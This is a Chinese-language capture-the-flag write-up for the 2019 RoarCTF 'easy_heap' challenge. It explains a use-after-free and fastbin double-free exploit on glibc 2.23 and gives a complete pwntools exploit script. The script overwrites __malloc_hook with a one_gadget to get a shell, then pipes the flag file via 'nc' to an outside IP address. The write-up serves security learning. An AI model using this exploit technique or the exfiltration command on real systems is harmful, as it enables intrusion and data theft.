2019-ROAR-CTF-easy_heap

  1. 分析
  2. 思路
  3. exp
  4. 参考

分析

环境是2.23,堆菜单题目,没开启PIE。很明显的UAF漏洞。

先允许输入0x20字节的username和0x20的info,都存在bss上,存了一段随机数,也在bss上。

bufptr则分别是add666功能存指针的地方。

它们的内存布局:

0x602060 ==> username
0x602088 ==> buf
0x602090 ==> random
0x602098 ==> ptr
0x6020a0 ==> info

show函数比较随机数,为指定值再调用,且在调用一次后,会关闭stdout和stderr

add函数调用malloc,存在小于0x80的限制;

666功能中调用calloc大小固定为0xa0

思路

首先是要构造出一个double free的格式,这里通过buf和ptr都存在UAF的关系构造。

流程如下:

calloc(ptr)   # chunk0: 0xa0
add(buf)      # chunk1: 将ptr与topchunk隔开
free(ptr)     # ptr进入unsortedbin
add(buf)      # chunk2: 为了让此时ptr和buf指向相同位置
add(buf)      # chunk3: 跟上一个大小保持一致,这个时候chunk2和chunk3就是两块size相同的chunk

1580968197428

又因为chunk2和chunk3都是从unsortedbin里面切出来的,所以带着libc的地址。

接下来构造出double free:

free(buf)
free(ptr)
free(buf)

1580968626018

忽略掉图片里因因aslr造成的地址每次不同,只关注相对关系即可。

接下来就是考虑用泄露,自带的show函数需要通过随机数的判断,

同时,username也是在bss上的,且在随机数上方,所以将username伪造成一个堆块的size,用UAF分配到这里来改写随机数。

注意,show里泄露的是buf,覆盖到随机数的时候会覆盖buf,所以将buf覆盖成某个GOT即可,远程可以泄露两次直接得到libc版本。

1580968845030

泄露之后会报Got EOF...错误,这不是代码出错了,而是stdout关闭了的缘故,继续做就完事了。

接下来如果按照我的做法,需要再构造一次double free格式,然后写到malloc_hook,这里构造double free比较麻烦,所以我参考了别人的代码进行调整:

https://bbs.pediy.com/thread-255095.htm

这种操作之前我没想到过,这个思想很好用,提前在username伪造部分的fd指向自身,这样,调整后的fastbin链指向自身,相当于把问题简化成了tcache double free,极大地减少了工作量:

1580971893131

之后就是常规操作,分配到malloc_hook-0x13的位置,然后写malloc_hookone_gadget,最后调用malloc来触发getshell。不过这里因为show的时候关闭了stdoutstderr,所以需要重定向一下,也不是什么复杂的操作。

exp

from pwn import *
context(arch = 'amd64' , os = 'linux')
context.terminal = ['tmux', 'splitw', '-h']
context.log_level="debug"

p = process("./pwn")

elf = ELF("./pwn")
libc = ELF("./libc.so.6")

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a, b)

def debug(cmd):
    gdb.attach(p, cmd)

def choose(idx):
    sla(">>", str(idx))

def add(size, ctx):
    choose(1)
    sla("size\n", str(size))
    sa("content\n", ctx)

def add_1(size, ctx):
    sl("1")
    sl(str(size))
    sn(ctx)

def free():
    choose(2)

def build_or_free(y=2, ctx=""):
    choose(666)
    sla("?\n", str(y))
    if y == 1:
        sa("content\n", ctx)

cmd = "set $a=%d\n" %(0x602060)
#debug(cmd)

# make a fake chunk header and generate a circular chain in fastin[5]
# decrease operations and difficulty
name = p64(0)+p64(0x71)+p64(0x602060)
sa("username:", name)

info = "ttt"
sa("info:", info)

# make buf and ptr in bss point to the same location
build_or_free(1, "0")
add(0x10, "1")
build_or_free()
add(0x68, "2")
add(0x68, "3")

# double free
free()
build_or_free()
free()

# get fake chunk ptr to the area of username
add(0x68, p64(0x602060))
add(0x68, "uaf1")
add(0x68, "uaf2")

# overwrite random for function show()
p1 = flat(0x602060, 0, 0, elf.got['__libc_start_main'], 0xDEADBEEFDEADBEEF)
add(0x68, p1)

# leak the libc address
choose(3)
leak = u64(ru("\x7f")[-6:].ljust(8, "\x00"))
libc.address = leak - libc.sym['__libc_start_main']
success("libc base: %s" %hex(libc.address))

# double free to hijack malloc_hook chunk
malloc_hook = libc.sym['__malloc_hook']
add_1(0x68, p64(malloc_hook-0x13))
add_1(0x68, "ttt")

# one gadget
one = libc.address + 0xf02a4
add_1(0x68, "\x00\x00\x00"+p64(one))

# get shell
sl("1")
sl("66")

# reverse shell and listen the port
sl("cat flag | nc 192.168.249.137 6666")

p.interactive()

参考

https://bbs.pediy.com/thread-255095.htm

https://hitworld.github.io/posts/e020a382/


connect 1037178204@qq.com

文章标题:2019-ROAR-CTF-easy_heap

本文作者:t1an5t

发布时间:2020-02-06, 10:52:00

最后更新:2020-03-02, 12:23:56

原始链接:http://yoursite.com/2019-ROAR-CTF-easy_heap/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录